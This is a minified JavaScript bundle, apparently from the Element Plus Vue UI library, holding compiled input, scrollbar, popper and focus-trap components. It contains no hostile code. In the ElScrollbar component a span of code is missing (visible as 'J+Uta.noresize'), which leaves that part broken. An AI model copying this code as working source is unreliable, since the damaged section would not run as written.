CompositionEvent},Ji=["role"],Xi=["id","minlength","maxlength","type","disabled","readonly","autocomplete","tabindex","aria-label","placeholder","form","autofocus"],Qi=["id","minlength","maxlength","tabindex","disabled","readonly","autocomplete","aria-label","placeholder","form","autofocus"],eu=re({name:"ElInput",inheritAttrs:!1}),tu=re({...eu,props:Gi,emits:Zi,setup(e,{expose:t,emit:n}){const a=e,o=En(),s=$n(),l=T(()=>{const W={};return a.containerRole==="combobox"&&(W["aria-haspopup"]=o["aria-haspopup"],W["aria-owns"]=o["aria-owns"],W["aria-expanded"]=o["aria-expanded"]),W}),u=T(()=>[a.type==="textarea"?k.b():c.b(),c.m(h.value),c.is("disabled",v.value),c.is("exceed",te.value),{[c.b("group")]:s.prepend||s.append,[c.bm("group","append")]:s.append,[c.bm("group","prepend")]:s.prepend,[c.m("prefix")]:s.prefix||a.prefixIcon,[c.m("suffix")]:s.suffix||a.suffixIcon||a.clearable||a.showPassword,[c.bm("suffix","password-clear")]:S.value&&E.value},o.class]),i=T(()=>[c.e("wrapper"),c.is("focus",V.value)]),f=Ql({excludeKeys:T(()=>Object.keys(l.value))}),{form:m,formItem:d}=Ma(),{inputId:g}=Wi(a,{formItemContext:d}),h=Ca(),v=xa(),c=Te("input"),k=Te("textarea"),y=an(),w=an(),N=j(!1),x=j(!1),R=j(!1),P=j(),_=an(a.inputStyle),O=T(()=>y.value||w.value),{wrapperRef:H,isFocused:V,handleFocus:B,handleBlur:J}=Li(O,{afterBlur(){var W;a.validateEvent&&((W=d==null?void 0:d.validate)==null||W.call(d,"blur").catch(ue=>void 0))}}),U=T(()=>{var W;return(W=m==null?void 0:m.statusIcon)!=null?W:!1}),z=T(()=>(d==null?void 0:d.validateState)||""),L=T(()=>z.value&&Wl[z.value]),F=T(()=>R.value?Yl:Bl),C=T(()=>[o.style]),M=T(()=>[a.inputStyle,_.value,{resize:a.resize}]),p=T(()=>An(a.modelValue)?"":String(a.modelValue)),S=T(()=>a.clearable&&!v.value&&!a.readonly&&!!p.value&&(V.value||N.value)),E=T(()=>a.showPassword&&!v.value&&!a.readonly&&!!p.value&&(!!p.value||V.value)),I=T(()=>a.showWordLimit&&!!a.maxlength&&(a.type==="text"||a.type==="textarea")&&!v.value&&!a.readonly&&!a.showPassword),G=T(()=>p.value.length),te=T(()=>!!I.value&&G.value>Number(a.maxlength)),oe=T(()=>!!s.suffix||!!a.suffixIcon||S.value||a.showPassword||I.value||!!z.value&&U.value),[pe,ve]=Ii(y);Vr(w,W=>{if(Se(),!I.value||a.resize!=="both")return;const ue=W[0],{width:we}=ue.contentRect;P.value={right:`calc(100% - ${we+15+6}px)`}});const me=()=>{const{type:W,autosize:ue}=a;if(!(!qe||W!=="textarea"||!w.value))if(ue){const we=Yt(ue)?ue.minRows:void 0,Je=Yt(ue)?ue.maxRows:void 0,vt=ar(w.value,we,Je);_.value={overflowY:"hidden",...vt},Ee(()=>{w.value.offsetHeight,_.value=vt})}else _.value={minHeight:ar(w.value).minHeight}},Se=(W=>{let ue=!1;return()=>{var we;if(ue||!a.autosize)return;((we=w.value)==null?void 0:we.offsetParent)===null||(W(),ue=!0)}})(me),be=()=>{const W=O.value,ue=a.formatter?a.formatter(p.value):p.value;!W||W.value===ue||(W.value=ue)},ge=async W=>{pe();let{value:ue}=W.target;if(a.formatter&&(ue=a.parser?a.parser(ue):ue),!x.value){if(ue===p.value){be();return}n(Qn,ue),n("input",ue),await Ee(),be(),ve()}},De=W=>{n("change",W.target.value)},Ie=W=>{n("compositionstart",W),x.value=!0},Ne=W=>{var ue;n("compositionupdate",W);const we=(ue=W.target)==null?void 0:ue.value,Je=we[we.length-1]||"";x.value=!Gl(Je)},Re=W=>{n("compositionend",W),x.value&&(x.value=!1,ge(W))},Ge=()=>{R.value=!R.value,lt()},lt=async()=>{var W;await Ee(),(W=O.value)==null||W.focus()},Le=()=>{var W;return(W=O.value)==null?void 0:W.blur()},ie=W=>{N.value=!1,n("mouseleave",W)},Ye=W=>{N.value=!0,n("mouseenter",W)},je=W=>{n("keydown",W)},Ze=()=>{var W;(W=O.value)==null||W.select()},He=()=>{n(Qn,""),n("change",""),n("clear"),n("input","")};return fe(()=>a.modelValue,()=>{var W;Ee(()=>me()),a.validateEvent&&((W=d==null?void 0:d.validate)==null||W.call(d,"change").catch(ue=>void 0))}),fe(p,()=>be()),fe(()=>a.type,async()=>{await Ee(),be(),me()}),st(()=>{!a.formatter&&a.parser,be(),Ee(me)}),t({input:y,textarea:w,ref:O,textareaStyle:M,autosize:Ve(a,"autosize"),focus:lt,blur:Le,select:Ze,clear:He,resizeTextarea:me}),(W,ue)=>ze((D(),K("div",bt(r(l),{class:r(u),style:r(C),role:W.containerRole,onMouseenter:Ye,onMouseleave:ie}),[ne(" input "),W.type!=="textarea"?(D(),K(_e,{key:0},[ne(" prepend slot "),W.$slots.prepend?(D(),K("div",{key:0,class:A(r(c).be("group","prepend"))},[$e(W.$slots,"prepend")],2)):ne("v-if",!0),q("div",{ref_key:"wrapperRef",ref:H,class:A(r(i))},[ne(" prefix slot "),W.$slots.prefix||W.prefixIcon?(D(),K("span",{key:0,class:A(r(c).e("prefix"))},[q("span",{class:A(r(c).e("prefix-inner"))},[$e(W.$slots,"prefix"),W.prefixIcon?(D(),de(r(ke),{key:0,class:A(r(c).e("icon"))},{default:le(()=>[(D(),de(tt(W.prefixIcon)))]),_:1},8,["class"])):ne("v-if",!0)],2)],2)):ne("v-if",!0),q("input",bt({id:r(g),ref_key:"input",ref:y,class:r(c).e("inner")},r(f),{minlength:W.minlength,maxlength:W.maxlength,type:W.showPassword?R.value?"text":"password":W.type,disabled:r(v),readonly:W.readonly,autocomplete:W.autocomplete,tabindex:W.tabindex,"aria-label":W.label,placeholder:W.placeholder,style:W.inputStyle,form:W.form,autofocus:W.autofocus,onCompositionstart:Ie,onCompositionupdate:Ne,onCompositionend:Re,onInput:ge,onFocus:ue[0]||(ue[0]=(...we)=>r(B)&&r(B)(...we)),onBlur:ue[1]||(ue[1]=(...we)=>r(J)&&r(J)(...we)),onChange:De,onKeydown:je}),null,16,Xi),ne(" suffix slot "),r(oe)?(D(),K("span",{key:1,class:A(r(c).e("suffix"))},[q("span",{class:A(r(c).e("suffix-inner"))},[!r(S)||!r(E)||!r(I)?(D(),K(_e,{key:0},[$e(W.$slots,"suffix"),W.suffixIcon?(D(),de(r(ke),{key:0,class:A(r(c).e("icon"))},{default:le(()=>[(D(),de(tt(W.suffixIcon)))]),_:1},8,["class"])):ne("v-if",!0)],64)):ne("v-if",!0),r(S)?(D(),de(r(ke),{key:1,class:A([r(c).e("icon"),r(c).e("clear")]),onMousedown:et(r(un),["prevent"]),onClick:He},{default:le(()=>[ee(r(wa))]),_:1},8,["class","onMousedown"])):ne("v-if",!0),r(E)?(D(),de(r(ke),{key:2,class:A([r(c).e("icon"),r(c).e("password")]),onClick:Ge},{default:le(()=>[(D(),de(tt(r(F))))]),_:1},8,["class"])):ne("v-if",!0),r(I)?(D(),K("span",{key:3,class:A(r(c).e("count"))},[q("span",{class:A(r(c).e("count-inner"))},he(r(G))+" / "+he(W.maxlength),3)],2)):ne("v-if",!0),r(z)&&r(L)&&r(U)?(D(),de(r(ke),{key:4,class:A([r(c).e("icon"),r(c).e("validateIcon"),r(c).is("loading",r(z)==="validating")])},{default:le(()=>[(D(),de(tt(r(L))))]),_:1},8,["class"])):ne("v-if",!0)],2)],2)):ne("v-if",!0)],2),ne(" append slot "),W.$slots.append?(D(),K("div",{key:1,class:A(r(c).be("group","append"))},[$e(W.$slots,"append")],2)):ne("v-if",!0)],64)):(D(),K(_e,{key:1},[ne(" textarea "),q("textarea",bt({id:r(g),ref_key:"textarea",ref:w,class:r(k).e("inner")},r(f),{minlength:W.minlength,maxlength:W.maxlength,tabindex:W.tabindex,disabled:r(v),readonly:W.readonly,autocomplete:W.autocomplete,style:r(M),"aria-label":W.label,placeholder:W.placeholder,form:W.form,autofocus:W.autofocus,onCompositionstart:Ie,onCompositionupdate:Ne,onCompositionend:Re,onInput:ge,onFocus:ue[2]||(ue[2]=(...we)=>r(B)&&r(B)(...we)),onBlur:ue[3]||(ue[3]=(...we)=>r(J)&&r(J)(...we)),onChange:De,onKeydown:je}),null,16,Qi),r(I)?(D(),K("span",{key:0,style:Ht(P.value),class:A(r(c).e("count"))},he(r(G))+" / "+he(W.maxlength),7)):ne("v-if",!0)],64))],16,Ji)),[[_t,W.type!=="hidden"]])}});var nu=Ae(tu,[["__file","input.vue"]]);const Ft=en(nu),Ut=4,au={vertical:{offset:"offsetHeight",scroll:"scrollTop",scrollSize:"scrollHeight",size:"height",key:"vertical",axis:"Y",client:"clientY",direction:"top"},horizontal:{offset:"offsetWidth",scroll:"scrollLeft",scrollSize:"scrollWidth",size:"width",key:"horizontal",axis:"X",client:"clientX",direction:"left"}},ru=({move:e,size:t,bar:n})=>({[n.size]:t,transform:`translate${n.axis}(${e}%)`}),Xr=Symbol("scrollbarContextKey"),ou=ye({vertical:Boolean,size:String,move:Number,ratio:{type:Number,required:!0},always:Boolean}),su="Thumb",lu=re({__name:"thumb",props:ou,setup(e){const t=e,n=Ce(Xr),a=Te("scrollbar");n||Sl(su,"can not inject scrollbar context");const o=j(),s=j(),l=j({}),u=j(!1);let i=!1,f=!1,m=qe?document.onselectstart:null;const d=T(()=>au[t.vertical?"vertical":"horizontal"]),g=T(()=>ru({size:t.size,move:t.move,bar:d.value})),h=T(()=>o.value[d.value.offset]**2/n.wrapElement[d.value.scrollSize]/t.ratio/s.value[d.value.offset]),v=P=>{var _;if(P.stopPropagation(),P.ctrlKey||[1,2].includes(P.button))return;(_=window.getSelection())==null||_.removeAllRanges(),k(P);const O=P.currentTarget;O&&(l.value[d.value.axis]=O[d.value.offset]-(P[d.value.client]-O.getBoundingClientRect()[d.value.direction]))},c=P=>{if(!s.value||!o.value||!n.wrapElement)return;const _=Math.abs(P.target.getBoundingClientRect()[d.value.direction]-P[d.value.client]),O=s.value[d.value.offset]/2,H=(_-O)*100*h.value/o.value[d.value.offset];n.wrapElement[d.value.scroll]=H*n.wrapElement[d.value.scrollSize]/100},k=P=>{P.stopImmediatePropagation(),i=!0,document.addEventListener("mousemove",y),document.addEventListener("mouseup",w),m=document.onselectstart,document.onselectstart=()=>!1},y=P=>{if(!o.value||!s.value||i===!1)return;const _=l.value[d.value.axis];if(!_)return;const O=(o.value.getBoundingClientRect()[d.value.direction]-P[d.value.client])*-1,H=s.value[d.value.offset]-_,V=(O-H)*100*h.value/o.value[d.value.offset];n.wrapElement[d.value.scroll]=V*n.wrapElement[d.value.scrollSize]/100},w=()=>{i=!1,l.value[d.value.axis]=0,document.removeEventListener("mousemove",y),document.removeEventListener("mouseup",w),R(),f&&(u.value=!1)},N=()=>{f=!1,u.value=!!t.size},x=()=>{f=!0,u.value=i};xt(()=>{R(),document.removeEventListener("mouseup",w)});const R=()=>{document.onselectstart!==m&&(document.onselectstart=m)};return Vt(Ve(n,"scrollbarElement"),"mousemove",N),Vt(Ve(n,"scrollbarElement"),"mouseleave",x),(P,_)=>(D(),de(ia,{name:r(a).b("fade"),persisted:""},{default:le(()=>[ze(q("div",{ref_key:"instance",ref:o,class:A([r(a).e("bar"),r(a).is(r(d).key)]),onMousedown:c},[q("div",{ref_key:"thumb",ref:s,class:A(r(a).e("thumb")),style:Ht(r(g)),onMousedown:v},null,38)],34),[[_t,P.always||u.value]])]),_:1},8,["name"]))}});var rr=Ae(lu,[["__file","thumb.vue"]]);const iu=ye({always:{type:Boolean,default:!0},width:String,height:String,ratioX:{type:Number,default:1},ratioY:{type:Number,default:1}}),uu=re({__name:"bar",props:iu,setup(e,{expose:t}){const n=e,a=j(0),o=j(0);return t({handleScroll:l=>{if(l){const u=l.offsetHeight-Ut,i=l.offsetWidth-Ut;o.value=l.scrollTop*100/u*n.ratioY,a.value=l.scrollLeft*100/i*n.ratioX}}}),(l,u)=>(D(),K(_e,null,[ee(rr,{move:a.value,ratio:l.ratioX,size:l.width,always:l.always},null,8,["move","ratio","size","always"]),ee(rr,{move:o.value,ratio:l.ratioY,size:l.height,vertical:"",always:l.always},null,8,["move","ratio","size","always"])],64))}});var cu=Ae(uu,[["__file","bar.vue"]]);const du=ye({height:{type:[String,Number],default:""},maxHeight:{type:[String,Number],default:""},native:{type:Boolean,default:!1},wrapStyle:{type:ae([String,Object,Array]),default:""},wrapClass:{type:[String,Array],default:""},viewClass:{type:[String,Array],default:""},viewStyle:{type:[String,Array,Object],default:""},noresize:Boolean,tag:{type:String,default:"div"},always:Boolean,minSize:{type:Number,default:20},id:String,role:String,ariaLabel:String,ariaOrientation:{type:String,values:["horizontal","vertical"]}}),fu={scroll:({scrollTop:e,scrollLeft:t})=>[e,t].every(nt)},pu="ElScrollbar",vu=re({name:pu}),hu=re({...vu,props:du,emits:fu,setup(e,{expose:t,emit:n}){const a=e,o=Te("scrollbar");let s,l;const u=j(),i=j(),f=j(),m=j("0"),d=j("0"),g=j(),h=j(1),v=j(1),c=T(()=>{const _={};return a.height&&(_.height=Jn(a.height)),a.maxHeight&&(_.maxHeight=Jn(a.maxHeight)),[a.wrapStyle,_]}),k=T(()=>[a.wrapClass,o.e("wrap"),{[o.em("wrap","hidden-default")]:!a.native}]),y=T(()=>[o.e("view"),a.viewClass]),w=()=>{var _;i.value&&((_=g.value)==null||_.handleScroll(i.value),n("scroll",{scrollTop:i.value.scrollTop,scrollLeft:i.value.scrollLeft}))};function N(_,O){Yt(_)?i.value.scrollTo(_):nt(_)&&nt(O)&&i.value.scrollTo(_,O)}const x=_=>{nt(_)&&(i.value.scrollTop=_)},R=_=>{nt(_)&&(i.value.scrollLeft=_)},P=()=>{if(!i.value)return;const _=i.value.offsetHeight-Ut,O=i.value.offsetWidth-Ut,H=_**2/i.value.scrollHeight,V=O**2/i.value.scrollWidth,B=Math.max(H,a.minSize),J=Math.max(V,a.minSize);h.value=H/(_-H)/(B/(_-B)),v.value=V/(O-V)/(J/(O-J)),d.value=B+Ut<_?`${B}px`:"",m.value=J+Uta.noresize,_=>{_?(s==null||s(),l==null||l()):({stop:s}=Vr(f,P),l=Vt("resize",P))},{immediate:!0}),fe(()=>[a.maxHeight,a.height],()=>{a.native||Ee(()=>{var _;P(),i.value&&((_=g.value)==null||_.handleScroll(i.value))})}),dt(Xr,ua({scrollbarElement:u,wrapElement:i})),st(()=>{a.native||Ee(()=>{P()})}),Ho(()=>P()),t({wrapRef:i,update:P,scrollTo:N,setScrollTop:x,setScrollLeft:R,handleScroll:w}),(_,O)=>(D(),K("div",{ref_key:"scrollbarRef",ref:u,class:A(r(o).b())},[q("div",{ref_key:"wrapRef",ref:i,class:A(r(k)),style:Ht(r(c)),onScroll:w},[(D(),de(tt(_.tag),{id:_.id,ref_key:"resizeRef",ref:f,class:A(r(y)),style:Ht(_.viewStyle),role:_.role,"aria-label":_.ariaLabel,"aria-orientation":_.ariaOrientation},{default:le(()=>[$e(_.$slots,"default")]),_:3},8,["id","class","style","role","aria-label","aria-orientation"]))],38),_.native?ne("v-if",!0):(D(),de(cu,{key:0,ref_key:"barRef",ref:g,height:d.value,width:m.value,always:_.always,"ratio-x":v.value,"ratio-y":h.value},null,8,["height","width","always","ratio-x","ratio-y"]))],2))}});var mu=Ae(hu,[["__file","scrollbar.vue"]]);const gu=en(mu),Ta=Symbol("popper"),Qr=Symbol("popperContent"),bu=["dialog","grid","group","listbox","menu","navigation","tooltip","tree"],eo=ye({role:{type:String,values:bu,default:"tooltip"}}),yu=re({name:"ElPopper",inheritAttrs:!1}),wu=re({...yu,props:eo,setup(e,{expose:t}){const n=e,a=j(),o=j(),s=j(),l=j(),u=T(()=>n.role),i={triggerRef:a,popperInstanceRef:o,contentRef:s,referenceRef:l,role:u};return t(i),dt(Ta,i),(f,m)=>$e(f.$slots,"default")}});var ku=Ae(wu,[["__file","popper.vue"]]);const to=ye({arrowOffset:{type:Number,default:5}}),Su=re({name:"ElPopperArrow",inheritAttrs:!1}),_u=re({...Su,props:to,setup(e,{expose:t}){const n=e,a=Te("popper"),{arrowOffset:o,arrowRef:s,arrowStyle:l}=Ce(Qr,void 0);return fe(()=>n.arrowOffset,u=>{o.value=u}),xt(()=>{s.value=void 0}),t({arrowRef:s}),(u,i)=>(D(),K("span",{ref_key:"arrowRef",ref:s,class:A(r(a).e("arrow")),style:Ht(r(l)),"data-popper-arrow":""},null,6))}});var Cu=Ae(_u,[["__file","arrow.vue"]]);const xu="ElOnlyChild",Mu=re({name:xu,setup(e,{slots:t,attrs:n}){var a;const o=Ce(Jr),s=Ei((a=o==null?void 0:o.setForwardRef)!=null?a:un);return()=>{var l;const u=(l=t.default)==null?void 0:l.call(t,n);if(!u||u.length>1)return null;const i=no(u);return i?ze(zo(i,n),[[s]]):null}}});function no(e){if(!e)return null;const t=e;for(const n of t){if(Yt(n))switch(n.type){case Yo:continue;case Mr:case"svg":return or(n);case _e:return no(n.children);default:return n}return or(n)}return null}function or(e){const t=Te("only-child");return ee("span",{class:t.e("content")},[e])}const ao=ye({virtualRef:{type:ae(Object)},virtualTriggering:Boolean,onMouseenter:{type:ae(Function)},onMouseleave:{type:ae(Function)},onClick:{type:ae(Function)},onKeydown:{type:ae(Function)},onFocus:{type:ae(Function)},onBlur:{type:ae(Function)},onContextmenu:{type:ae(Function)},id:String,open:Boolean}),Tu=re({name:"ElPopperTrigger",inheritAttrs:!1}),Du=re({...Tu,props:ao,setup(e,{expose:t}){const n=e,{role:a,triggerRef:o}=Ce(Ta,void 0);Oi(o);const s=T(()=>u.value?n.id:void 0),l=T(()=>{if(a&&a.value==="tooltip")return n.open&&n.id?n.id:void 0}),u=T(()=>{if(a&&a.value!=="tooltip")return a.value}),i=T(()=>u.value?`${n.open}`:void 0);let f;return st(()=>{fe(()=>n.virtualRef,m=>{m&&(o.value=$t(m))},{immediate:!0}),fe(o,(m,d)=>{f==null||f(),f=void 0,cn(m)&&(["onMouseenter","onMouseleave","onClick","onKeydown","onFocus","onBlur","onContextmenu"].forEach(g=>{var h;const v=n[g];v&&(m.addEventListener(g.slice(2).toLowerCase(),v),(h=d==null?void 0:d.removeEventListener)==null||h.call(d,g.slice(2).toLowerCase(),v))}),f=fe([s,l,u,i],g=>{["aria-controls","aria-describedby","aria-haspopup","aria-expanded"].forEach((h,v)=>{An(g[v])?m.removeAttribute(h):m.setAttribute(h,g[v])})},{immediate:!0})),cn(d)&&["aria-controls","aria-describedby","aria-haspopup","aria-expanded"].forEach(g=>d.removeAttribute(g))},{immediate:!0})}),xt(()=>{f==null||f(),f=void 0}),t({triggerRef:o}),(m,d)=>m.virtualTriggering?ne("v-if",!0):(D(),de(r(Mu),bt({key:0},m.$attrs,{"aria-controls":r(s),"aria-describedby":r(l),"aria-expanded":r(i),"aria-haspopup":r(u)}),{default:le(()=>[$e(m.$slots,"default")]),_:3},16,["aria-controls","aria-describedby","aria-expanded","aria-haspopup"]))}});var Pu=Ae(Du,[["__file","trigger.vue"]]);const Hn="focus-trap.focus-after-trapped",zn="focus-trap.focus-after-released",Ou="focus-trap.focusout-prevented",sr={cancelable:!0,bubbles:!1},Eu={cancelable:!0,bubbles:!1},lr="focusAfterTrapped",ir="focusAfterReleased",$u=Symbol("elFocusTrap"),Da=j(),Fn=j(0),Pa=j(0);let mn=0;const ro=e=>{const t=[],n=document.createTreeWalker(e,NodeFilter.SHOW_ELEMENT,{acceptNode:a=>{const o=a.tagName==="INPUT"&&a.type==="hidden";return a.disabled||a.hidden||o?NodeFilter.FILTER_SKIP:a.tabIndex>=0||a===document.activeElement?NodeFilter.FILTER_ACCEPT:NodeFilter.FILTER_SKIP}});for(;n.nextNode();)t.push(n.currentNode);return t},ur=(e,t)=>{for(const n of e)if(!Au(n,t))return n},Au=(e,t)=>{if(getComputedStyle(e).visibility==="hidden")return!0;for(;e;){if(t&&e===t)return!1;if(getComputedStyle(e).display==="none")return!0;e=e.parentElement}return!1},Ru=e=>{const t=ro(e),n=ur(t,e),a=ur(t.reverse(),e);return[n,a]},Iu=e=>e instanceof HTMLInputElement&&"select"in e,Ot=(e,t)=>{if(e&&e.focus){const n=document.activeElement;e.focus({preventScroll:!0}),Pa.value=window.performance.now(),e!==n&&Iu(e)&&t&&e.select()}};function cr(e,t){const n=[...e],a=e.indexOf(t);return a!==-1&&n.splice(a,1),n}const Fu=()=>{let e=[];return{push:a=>{const o=e[0];o&&a!==o&&o.pause(),e=cr(e,a),e.unshift(a)},remove:a=>{var o,s;e=cr(e,a),(s=(o=e[0])==null?void 0:o.resume)==null||s.call(o)}}},Nu=(e,t=!1)=>{const n=document.activeElement;for(const a of e)if(Ot(a,t),document.activeElement!==n)return},dr=Fu(),Lu=()=>Fn.value>Pa.value,gn=()=>{Da.value="pointer",Fn.value=window.performance.now()},fr=()=>{Da.value="keyboard",Fn.value=window.performance.now()},Vu=()=>(st(()=>{mn===0&&(document.addEventListener("mousedown",gn),document.addEventListener("touchstart",gn),document.addEventListener("keydown",fr)),mn++}),xt(()=>{mn--,mn<=0&&(document.removeEventListener("mousedown",gn),document.removeEventListener("touchstart",gn),document.removeEventListener("keydown",fr))}),{focusReason:Da,lastUserFocusTimestamp:Fn,lastAutomatedFocusTimestamp:Pa}),bn=e=>new CustomEvent(Ou,{...Eu,detail:e}),Bu=re({name:"ElFocusTrap",inheritAttrs:!1,props:{loop:Boolean,trapped:Boolean,focusTrapEl:Object,focusStartEl:{type:[Object,String],default:"first"}},emits:[lr,ir,"focusin","focusout","focusout-prevented","release-requested"],setup(e,{emit:t}){const n=j();let a,o;const{focusReason:s}=Vu();xi(v=>{e.trapped&&!l.paused&&t("release-requested",v)});const l={paused:!1,pause(){this.paused=!0},resume(){this.paused=!1}},u=v=>{if(!e.loop&&!e.trapped||l.paused)return;const{key:c,altKey:k,ctrlKey:y,metaKey:w,currentTarget:N,shiftKey:x}=v,{loop:R}=e,P=c===Oe.tab&&!k&&!y&&!w,_=document.activeElement;if(P&&_){const O=N,[H,V]=Ru(O);if(H&&V){if(!x&&_===V){const J=bn({focusReason:s.value});t("focusout-prevented",J),J.defaultPrevented||(v.preventDefault(),R&&Ot(H,!0))}else if(x&&[H,O].includes(_)){const J=bn({focusReason:s.value});t("focusout-prevented",J),J.defaultPrevented||(v.preventDefault(),R&&Ot(V,!0))}}else if(_===O){const J=bn({focusReason:s.value});t("focusout-prevented",J),J.defaultPrevented||v.preventDefault()}}};dt($u,{focusTrapRef:n,onKeydown:u}),fe(()=>e.focusTrapEl,v=>{v&&(n.value=v)},{immediate:!0}),fe([n],([v],[c])=>{v&&(v.addEventListener("keydown",u),v.addEventListener("focusin",m),v.addEventListener("focusout",d)),c&&(c.removeEventListener("keydown",u),c.removeEventListener("focusin",m),c.removeEventListener("focusout",d))});const i=v=>{t(lr,v)},f=v=>t(ir,v),m=v=>{const c=r(n);if(!c)return;const k=v.target,y=v.relatedTarget,w=k&&c.contains(k);e.trapped||y&&c.contains(y)||(a=y),w&&t("focusin",v),!l.paused&&e.trapped&&(w?o=k:Ot(o,!0))},d=v=>{const c=r(n);if(!(l.paused||!c))if(e.trapped){const k=v.relatedTarget;!An(k)&&!c.contains(k)&&setTimeout(()=>{if(!l.paused&&e.trapped){const y=bn({focusReason:s.value});t("focusout-prevented",y),y.defaultPrevented||Ot(o,!0)}},0)}else{const k=v.target;k&&c.contains(k)||t("focusout",v)}};async function g(){await Ee();const v=r(n);if(v){dr.push(l);const c=v.contains(document.activeElement)?a:document.activeElement;if(a=c,!v.contains(c)){const y=new Event(Hn,sr);v.addEventListener(Hn,i),v.dispatchEvent(y),y.defaultPrevented||Ee(()=>{let w=e.focusStartEl;qt(w)||(Ot(w),document.activeElement!==w&&(w="first")),w==="first"&&Nu(ro(v),!0),(document.activeElement===c||w==="container")&&Ot(v)})}}}function h(){const v=r(n);if(v){v.removeEventListener(Hn,i);const c=new CustomEvent(zn,{...sr,detail:{focusReason:s.value}});v.addEventListener(zn,f),v.dispatchEvent(c),!c.defaultPrevented&&(s.value=="keyboard"||!Lu()||v.contains(document.activeElement))&&Ot(a??document.body),v.removeEventListener(zn,f),dr.remove(l)}}return st(()=>{e.trapped&&g(),fe(()=>e.trapped,v=>{v?g():h()})}),xt(()=>{e.trapped&&h()}),{onKeydown:u}}});function Hu(e,t,n,a,o,s){return $e(e.$slots,"default",{handleKeydown:e.onKeydown})}var zu=Ae(Bu,[["render",Hu],["__file","focus-trap.vue"]]);const Yu=["fixed","absolute"],ju=ye({boundariesPadding:{type:Number,default:0},fallbackPlacements:{type:ae(Array),default:void 0},gpuAcceleration:{type:Boolean,default:!0},offset:{type:Number,default:12},placement:{type:String,values:da,default:"bottom"},popperOptions:{type:ae(Object),default:()=>({})},strategy:{type:String,values:Yu,default:"absolute"}}),oo=ye({...ju,id:String,style:{type:ae([String,Array,Object])},className:{type:ae([String,Array,Object])},effect:{type:String,default:"dark"},visible:Boolean,enterable:{type:Boolean,default:!0},pure:Boolean,focusOnShow:{type:Boolean,default:!1},trapping:{type:Boolean,default:!1},popperClass:{type:ae([String,Array,Object])},popperStyle:{type:ae([String,Array,Object])},referenceEl:{type:ae(Object)},triggerTargetEl:{type:ae(Object)},stopPopperMouseEvent:{type:Boolean,default:!0},ariaLabel:{type:String,default:void 0},virtualTriggering:Boolean,zIndex:Number}),Wu={mouseenter:e=>e instanceof MouseEvent,mouseleave:e=>e instanceof MouseEvent,focus:()=>!0,blur:()=>!0,close:()=>!0},Ku=(e,t=[])=>{const{placement:n,strategy:a,popperOptions:o}=e,s={placement:n,strategy:a,...o,modifiers:[...qu(e),...t]};return Gu(s,o==null?void 0:o.modifiers),s},Uu=e=>{if(qe)return $t(e)};function qu(e){const{offset:t,gpuAcceleration:n,fallbackPlacements:a}=e;return[{name:"offset",options:{offset:[0,t??12]}},{name:"preventOverflow",options:{padding:{top:2,bottom:2,left:5,right:5}}},{name:"flip",options:{padding:5,fallbackPlacements:a}},{name:"computeStyles",options:{gpuAcceleration:n}}]}function Gu(e,t){t&&(e.modifiers=[...e.modifiers,...t??[]])}const Zu=0,Ju=e=>{const{popperInstanceRef:t,contentRef:n,triggerRef:a,role:o}=Ce(Ta,void 0),s=j(),l=j(),u=T(()=>({name:"eventListeners",enabled:!!e.visible})),i=T(()=>{var y;const w=r(s),N=(y=r(l))!=null?y:Zu;return{name:"arrow",enabled:!Zo(w),options:{element:w,padding:N}}}),f=T(()=>({onFirstUpdate:()=>{v()},...Ku(e,[r(i),r(u)])})),m=T(()=>Uu(e.referenceEl)||r(a)),{attributes:d,state:g,styles:h,update:v,forceUpdate:c,instanceRef:k}=Si(m,n,f);return fe(k,y=>t.value=y),st(()=>{fe(()=>{var y;return(y=r(m))==null?void 0:y.getBoundingClientRect()},()=>{v()})}),{attributes:d,arrowRef:s,contentRef:n,instanceRef:k,state:g,styles:h,role:o,forceUpdate:c,update:v}},Xu=(e,{attributes:t,styles:n,role:a})=>{const{nextZIndex:o}=Ri(),s=Te("popper"),l=T(()=>r(t).popper),u=j(nt(e.zIndex)?e.zIndex:o()),i=T(()=>[s.b(),s.is("pure",e.pure),s.is(e.effect),e.popperClass]),f=T(()=>[{zIndex:r(u)},r(n).popper,e.popperStyle||{}]),m=T(()=>a.value==="dialog"?"false":void 0),d=T(()=>r(n).arrow||{});return{ariaModal:m,arrowStyle:d,contentAttrs:l,contentClass:i,contentStyle:f,contentZIndex:u,updateZIndex:()=>{u.value=nt(e.zIndex)?e.zIndex:o()}}},Qu=(e,t)=>{const n=j(!1),a=j();return{focusStartRef:a,trapped:n,onFocusAfterReleased:f=>{var m;((m=f.detail)==null?void 0:m.focusReason)!=="pointer"&&(a.value="first",t("blur"))},onFocusAfterTrapped:()=>{t("focus")},onFocusInTrap:f=>{e.visible&&!n.value&&(f.target&&(a.value=f.target),n.value=!0)},onFocusoutPrevented:f=>{e.trapping||(f.detail.focusReason==="pointer"&&f.preventDefault(),n.value=!1)},onReleaseRequested:()=>{n.value=!1,t("close")}}},ec=re({name:"ElPopperContent"}),tc=re({...ec,props:oo,emits:Wu,setup(e,{expose:t,emit:n}){const a=e,{focusStartRef:o,trapped:s,onFocusAfterReleased:l,onFocusAfterTrapped:u,onFocusInTrap:i,onFocusoutPrevented:f,onReleaseRequested:m}=Qu(a,n),{attributes:d,arrowRef:g,contentRef:h,styles:v,instanceRef:c,role:k,update:y}=Ju(a),{ariaModal:w,arrowStyle:N,contentAttrs:x,contentClass:R,contentStyle:P,updateZIndex:_}=Xu(a,{styles:v,attributes:d,role:k}),O=Ce(Pn,void 0),H=j();dt(Qr,{arrowStyle:N,arrowRef:g,arrowOffset:H}),O&&(O.addInputId||O.removeInputId)&&dt(Pn,{...O,addInputId:un,removeInputId:un});let V;const B=(U=!0)=>{y(),U&&_()},J=()=>{B(!1),a.visible&&a.focusOnShow?s.value=!0:a.visible===!1&&(s.value=!1)};return st(()=>{fe(()=>a.triggerTargetEl,(U,z)=>{V==null||V(),V=void 0;const L=r(U||h.value),F=r(z||h.value);cn(L)&&(V=fe([k,()=>a.ariaLabel,w,()=>a.id],C=>{["role","aria-label","aria-modal","id"].forEach((M,p)=>{An(C[p])?L.removeAttribute(M):L.setAttribute(M,C[p])})},{immediate:!0})),F!==L&&cn(F)&&["role","aria-label","aria-modal","id"].forEach(C=>{F.removeAttribute(C)})},{immediate:!0}),fe(()=>a.visible,J,{immediate:!0})}),xt(()=>{V==null||V(),V=void 